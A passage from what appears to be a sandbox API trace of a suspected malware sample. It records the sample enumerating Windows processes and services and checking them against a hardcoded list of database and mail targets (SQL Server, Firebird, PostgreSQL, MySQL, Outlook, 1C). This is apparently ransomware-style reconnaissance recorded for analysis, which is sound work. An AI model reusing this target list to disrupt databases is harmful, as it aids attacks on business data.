th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.891] lstrlenW (lpString="svchost.exe") returned 11 [0057.891] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0057.891] CloseHandle (hObject=0x208) returned 1 [0057.892] Sleep (dwMilliseconds=0x1f4) [0059.272] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6400d0 [0059.273] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0059.274] GetLastError () returned 0xea [0059.274] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x36b8758 [0059.275] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b8758, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b8758, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0059.276] CloseServiceHandle (hSCObject=0x6400d0) returned 1 [0059.276] lstrlenW (lpString="Appinfo") returned 7 [0059.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.276] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.276] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.276] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.276] lstrlenW (lpString="AudioSrv") returned 8 [0059.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.276] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.276] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.276] lstrlenW (lpString="BFE") returned 3 [0059.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.277] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.277] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.277] lstrlenW (lpString="CryptSvc") returned 8 [0059.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.277] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.277] lstrlenW (lpString="CscService") returned 10 [0059.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.277] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.277] lstrlenW (lpString="DcomLaunch") returned 10 [0059.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.277] lstrlenW (lpString="Dhcp") returned 4 [0059.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.277] lstrlenW (lpString="Dnscache") returned 8 [0059.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.278] lstrlenW (lpString="DPS") returned 3 [0059.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.278] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.278] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.278] lstrlenW (lpString="eventlog") returned 8 [0059.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.278] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.278] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.278] lstrlenW (lpString="EventSystem") returned 11 [0059.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.278] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.278] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.278] lstrlenW (lpString="gpsvc") returned 5 [0059.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.278] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.278] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.278] lstrlenW (lpString="iphlpsvc") returned 8 [0059.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.278] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.278] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.279] lstrlenW (lpString="LanmanServer") returned 12 [0059.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.279] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.279] lstrlenW (lpString="lmhosts") returned 7 [0059.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.279] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.279] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.279] lstrlenW (lpString="MMCSS") returned 5 [0059.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.279] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.279] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.279] lstrlenW (lpString="MpsSvc") returned 6 [0059.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.279] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.279] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.279] lstrlenW (lpString="Netman") returned 6 [0059.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.280] lstrlenW (lpString="netprofm") returned 8 [0059.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.280] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.280] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.280] lstrlenW (lpString="NlaSvc") returned 6 [0059.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.280] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.280] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.280] lstrlenW (lpString="nsi") returned 3 [0059.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.280] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.280] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.280] lstrlenW (lpString="PcaSvc") returned 6 [0059.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.280] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.280] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.280] lstrlenW (lpString="PlugPlay") returned 8 [0059.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.280] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.280] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.281] lstrlenW (lpString="Power") returned 5 [0059.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.281] lstrlenW (lpString="ProfSvc") returned 7 [0059.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.281] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.281] lstrlenW (lpString="RpcSs") returned 5 [0059.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.281] lstrlenW (lpString="SamSs") returned 5 [0059.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.281] lstrlenW (lpString="Schedule") returned 8 [0059.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.282] lstrlenW (lpString="SENS") returned 4 [0059.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.282] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.282] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.282] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.282] lstrlenW (lpString="Spooler") returned 7 [0059.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.282] lstrlenW (lpString="swprv") returned 5 [0059.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0059.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0059.282] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0059.282] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0059.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0059.282] lstrlenW (lpString="SysMain") returned 7 [0059.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.283] lstrlenW (lpString="Themes") returned 6 [0059.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.283] lstrlenW (lpString="TrkWks") returned 6 [0059.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.283] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.283] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.283] lstrlenW (lpString="UxSms") returned 5 [0059.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.283] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.283] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.283] lstrlenW (lpString="VSS") returned 3 [0059.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0059.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0059.283] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0059.283] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0059.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0059.283] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.283] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.283] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.283] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.284] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.284] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.284] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.284] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.284] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.284] lstrlenW (lpString="Winmgmt") returned 7 [0059.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.284] lstrlenW (lpString="WPDBusEnum") returned 10 [0059.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.284] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0059.284] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0059.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0059.284] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b8758 | out: hHeap=0x5a0000) returned 1 [0059.284] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15c [0059.287] Process32FirstW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.288] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.288] lstrlenW (lpString="System") returned 6 [0059.288] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.288] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.288] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.288] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.288] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.288] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.288] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.289] lstrlenW (lpString="smss.exe") returned 8 [0059.289] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.289] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.289] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.289] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.290] lstrlenW (lpString="csrss.exe") returned 9 [0059.290] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.290] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.290] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.290] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.290] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.290] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0059.290] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.296] lstrlenW (lpString="wininit.exe") returned 11 [0059.296] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 